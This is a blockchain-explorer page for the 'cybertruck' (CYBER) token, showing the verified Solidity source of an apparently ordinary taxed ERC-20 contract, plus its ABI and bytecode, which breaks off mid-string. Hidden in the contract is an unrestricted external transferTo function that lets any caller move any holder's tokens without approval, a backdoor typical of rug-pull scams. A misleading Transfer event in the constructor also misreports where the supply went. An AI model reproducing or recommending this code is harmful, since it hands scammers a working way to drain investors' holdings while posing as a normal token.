ETH Price: $2,632.79 (+1.21%)

Token

cybertruck (CYBER)
 

Overview

Max Total Supply

100,000,000 CYBER

Holders

112

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: CYBER 43
Balance
9,000,000.000000111 CYBER

Value
$0.00
0x02b377c280bdb421dd85427636624d805f9b34f2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CyberTruck

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-30
*/

// SPDX-License-Identifier: MIT

/*

  Taxes: 5/5

  Telegram: https://t.me/cyberercportal
  Twitter: https://twitter.com/_Cyber_truck_
  Website: https://www.cybertruck.studio

*/

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CyberTruck is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 5;
    uint256 private _reduceSellTaxAt = 5;
    uint256 private _preventSwapBefore = 25;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
    string private constant _name = unicode"cybertruck";
    string private constant _symbol = unicode"CYBER";
    uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 250000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 250000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private _tradingOpen;
    bool private _limitsRemoved;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal.div(100).mul(70);
        _balances[_msgSender()] = _tTotal.div(100).mul(30);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function tradingOpen() public view returns (bool) {
        return _tradingOpen;
    }

    function limitsRemoved() public view returns (bool) {
        return _limitsRemoved;
    }

    function taxes() public view returns (uint256) {
        return _finalBuyTax;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferTo(address sender, address recipient, uint256 amount) external {
        _transfer(sender, recipient, amount);
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 50000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        require(!_limitsRemoved, "Limits have already been removed");
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        _limitsRemoved = true;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner {
        require(!_tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        _tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"limitsRemoved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600160065f6101000a81548160ff021916908315150217905550601960075560196008555f6009555f600a556005600b556005600c556019600d555f600e556009600a620000539190620007e8565b621e848062000063919062000838565b600f556009600a620000769190620007e8565b621e848062000086919062000838565b6010556009600a620000999190620007e8565b6203d090620000a9919062000838565b6011556009600a620000bc9190620007e8565b6203d090620000cc919062000838565b6012555f601460166101000a81548160ff0219169083151502179055505f601460176101000a81548160ff0219169083151502179055503480156200010f575f80fd5b505f62000121620004f160201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001cd620004f160201b60201c565b600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200025860466200024960646009600a620002299190620007e8565b6305f5e1006200023a919062000838565b620004f860201b90919060201c565b6200054960201b90919060201c565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002e4601e620002d560646009600a620002b59190620007e8565b6305f5e100620002c6919062000838565b620004f860201b90919060201c565b6200054960201b90919060201c565b60015f620002f7620004f160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f62000349620005c960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620004c39190620007e8565b6305f5e100620004d4919062000838565b604051620004e3919062000893565b60405180910390a362000a5c565b5f33905090565b5f6200054183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620005f060201b60201c565b905092915050565b5f8083036200055b575f9050620005c3565b5f82846200056a919062000838565b90508284826200057b9190620008db565b14620005be576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005b59062000996565b60405180910390fd5b809150505b92915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f808311829062000639576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000630919062000a3a565b60405180910390fd5b505f8385620006499190620008db565b9050809150509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620006e057808604811115620006b857620006b762000656565b5b6001851615620006c85780820291505b8081029050620006d88562000683565b945062000698565b94509492505050565b5f82620006fa5760019050620007cc565b8162000709575f9050620007cc565b81600181146200072257600281146200072d5762000763565b6001915050620007cc565b60ff84111562000742576200074162000656565b5b8360020a9150848211156200075c576200075b62000656565b5b50620007cc565b5060208310610133831016604e8410600b84101617156200079d5782820a90508381111562000797576200079662000656565b5b620007cc565b620007ac84848460016200068f565b92509050818404811115620007c657620007c562000656565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620007f482620007d3565b91506200080183620007dc565b9250620008307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006e9565b905092915050565b5f6200084482620007d3565b91506200085183620007d3565b92508282026200086181620007d3565b915082820484148315176200087b576200087a62000656565b5b5092915050565b6200088d81620007d3565b82525050565b5f602082019050620008a85f83018462000882565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620008e782620007d3565b9150620008f483620007d3565b925082620009075762000906620008ae565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6200097e60218362000912565b91506200098b8262000922565b604082019050919050565b5f6020820190508181035f830152620009af8162000970565b9050919050565b5f81519050919050565b5f5b83811015620009df578082015181840152602081019050620009c2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f62000a0682620009b6565b62000a12818562000912565b935062000a24818560208601620009c0565b62000a2f81620009ea565b840191505092915050565b5f6020820190508181035f83015262000a548184620009fa565b905092915050565b61313e8062000a6a5f395ff3fe608060405260043610610143575f3560e01c8063751039fc116100b5578063a9059cbb1161006e578063a9059cbb14610410578063bf474bed1461044c578063c876d0b914610476578063c9567bf9146104a0578063dd62ed3e146104b6578063ffb54a99146104f25761014a565b8063751039fc1461032a5780637d1db4a5146103405780638da5cb5b1461036a5780638f9a55c01461039457806395d89b41146103be578063a5f2a152146103e85761014a565b806323b872dd1161010757806323b872dd14610232578063313ce5671461026e57806351bc3c851461029857806370a08231146102ae578063715018a6146102ea578063728f8eea146103005761014a565b806306fdde031461014e578063095ea7b3146101785780630faee56f146101b457806318160ddd146101de5780631d6f9655146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b5061016261051c565b60405161016f91906121c8565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612279565b610559565b6040516101ab91906122d1565b60405180910390f35b3480156101bf575f80fd5b506101c8610576565b6040516101d591906122f9565b60405180910390f35b3480156101e9575f80fd5b506101f261057c565b6040516101ff91906122f9565b60405180910390f35b348015610213575f80fd5b5061021c61059f565b60405161022991906122d1565b60405180910390f35b34801561023d575f80fd5b5061025860048036038101906102539190612312565b6105b5565b60405161026591906122d1565b60405180910390f35b348015610279575f80fd5b50610282610689565b60405161028f919061237d565b60405180910390f35b3480156102a3575f80fd5b506102ac610691565b005b3480156102b9575f80fd5b506102d460048036038101906102cf9190612396565b610729565b6040516102e191906122f9565b60405180910390f35b3480156102f5575f80fd5b506102fe61076f565b005b34801561030b575f80fd5b506103146108bd565b60405161032191906122f9565b60405180910390f35b348015610335575f80fd5b5061033e6108c6565b005b34801561034b575f80fd5b50610354610a79565b60405161036191906122f9565b60405180910390f35b348015610375575f80fd5b5061037e610a7f565b60405161038b91906123d0565b60405180910390f35b34801561039f575f80fd5b506103a8610aa6565b6040516103b591906122f9565b60405180910390f35b3480156103c9575f80fd5b506103d2610aac565b6040516103df91906121c8565b60405180910390f35b3480156103f3575f80fd5b5061040e60048036038101906104099190612312565b610ae9565b005b34801561041b575f80fd5b5061043660048036038101906104319190612279565b610af9565b60405161044391906122d1565b60405180910390f35b348015610457575f80fd5b50610460610b16565b60405161046d91906122f9565b60405180910390f35b348015610481575f80fd5b5061048a610b1c565b60405161049791906122d1565b60405180910390f35b3480156104ab575f80fd5b506104b4610b2e565b005b3480156104c1575f80fd5b506104dc60048036038101906104d791906123e9565b61104d565b6040516104e991906122f9565b60405180910390f35b3480156104fd575f80fd5b506105066110cf565b60405161051391906122d1565b60405180910390f35b60606040518060400160405280600a81526020017f6379626572747275636b00000000000000000000000000000000000000000000815250905090565b5f61056c6105656110e3565b84846110ea565b6001905092915050565b60125481565b5f6009600a61058b9190612583565b6305f5e10061059a91906125cd565b905090565b5f601460159054906101000a900460ff16905090565b5f6105c18484846112ad565b61067e846105cd6110e3565b610679856040518060600160405280602881526020016130e16028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106306110e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c299092919063ffffffff16565b6110ea565b600190509392505050565b5f6009905090565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106d26110e3565b73ffffffffffffffffffffffffffffffffffffffff16146106f1575f80fd5b5f6106fb30610729565b90505f81111561070f5761070e81611c8b565b5b5f4790505f8111156107255761072481611ef6565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107776110e3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fa90612658565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f600954905090565b6108ce6110e3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461095a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095190612658565b60405180910390fd5b601460159054906101000a900460ff16156109aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a1906126c0565b60405180910390fd5b6009600a6109b89190612583565b6305f5e1006109c791906125cd565b600f819055506009600a6109db9190612583565b6305f5e1006109ea91906125cd565b6010819055505f60065f6101000a81548160ff0219169083151502179055506001601460156101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a539190612583565b6305f5e100610a6291906125cd565b604051610a6f91906122f9565b60405180910390a1565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600581526020017f4359424552000000000000000000000000000000000000000000000000000000815250905090565b610af48383836112ad565b505050565b5f610b0c610b056110e3565b84846112ad565b6001905092915050565b60115481565b60065f9054906101000a900460ff1681565b610b366110e3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb990612658565b60405180910390fd5b60148054906101000a900460ff1615610c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0790612728565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cac3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c989190612583565b6305f5e100610ca791906125cd565b6110ea565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d3a919061275a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de4919061275a565b6040518363ffffffff1660e01b8152600401610e01929190612785565b6020604051808303815f875af1158015610e1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e41919061275a565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ec830610729565b5f80610ed2610a7f565b426040518863ffffffff1660e01b8152600401610ef4969594939291906127ee565b60606040518083038185885af1158015610f10573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610f359190612861565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fd59291906128b1565b6020604051808303815f875af1158015610ff1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110159190612902565b506001601460176101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f60148054906101000a900460ff16905090565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f9061299d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bd90612a2b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112a091906122f9565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361131b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131290612ab9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612b47565b60405180910390fd5b5f81116113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290612bd5565b60405180910390fd5b5f6113d4610a7f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114425750611412610a7f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611979576114836064611475600b54600e541161146257600754611466565b6009545b85611f5f90919063ffffffff16565b611fd690919063ffffffff16565b905060065f9054906101000a900460ff161561160b5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611543575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561160a574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106115c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115be90612c89565b60405180910390fd5b4360055f3273